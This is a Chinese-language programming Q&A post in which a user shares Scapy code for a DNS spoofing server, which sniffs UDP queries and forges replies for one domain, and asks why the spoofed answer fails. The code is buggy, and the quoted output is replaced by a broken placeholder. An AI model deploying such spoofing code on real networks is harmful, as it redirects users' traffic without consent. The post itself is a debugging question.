无法在Scapy中发送DNS回复

2024-06-28 19:43:43 发布

您现在位置:Python中文网/ 问答频道 /正文

我试图用Scapy编写DNS欺骗的代码。一切正常,除了我从DNS服务器得到错误的响应。我应该得到这样的回应:

DNS Ans "198.71.55.197"

但我有

^{pr2}$

以下是我的客户代码:

from scapy.all import DNS, DNSQR, IP, sr1, UDP

dns_req = IP(dst='8.8.8.8')/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname='www.thepacketgeek.com'))
answer = sr1(dns_req, verbose=0)

print(answer[DNS].summary())

这是我的DNS欺骗服务器代码:

from scapy.all import *
DNS_SERVER_IP = "127.0.0.1"

def packetsniff(packet):
if(packet.haslayer(DNS) and packet.getlayer(DNS).qr==0):

    if("www.thepacketgeek.com" in str(packet[DNS]["DNS Question Record"].qname)):
        spf_res = IP(dst=packet[IP].src, src=packet[IP].dst)/\
              UDP(dport=packet[UDP].sport,sport=packet[UDP].dport)/\
              DNS(id=packet[DNS].id,qr=1, aa=1, ancount=1,qd = packet[DNS].qd,\
                  an=DNSRR(rrname="pkt[DNSQR].qname", ttl=10, rdata="192.168.1.5"))                                        
        send(spf_res, verbose=0)
        return "spoofed request sent :" +packet[IP].src
    else:
        return "not me"


sniff(filter="udp", prn=packetsniff)

我做错什么了?在


Tags: 代码fromipsrc服务器packetdnsall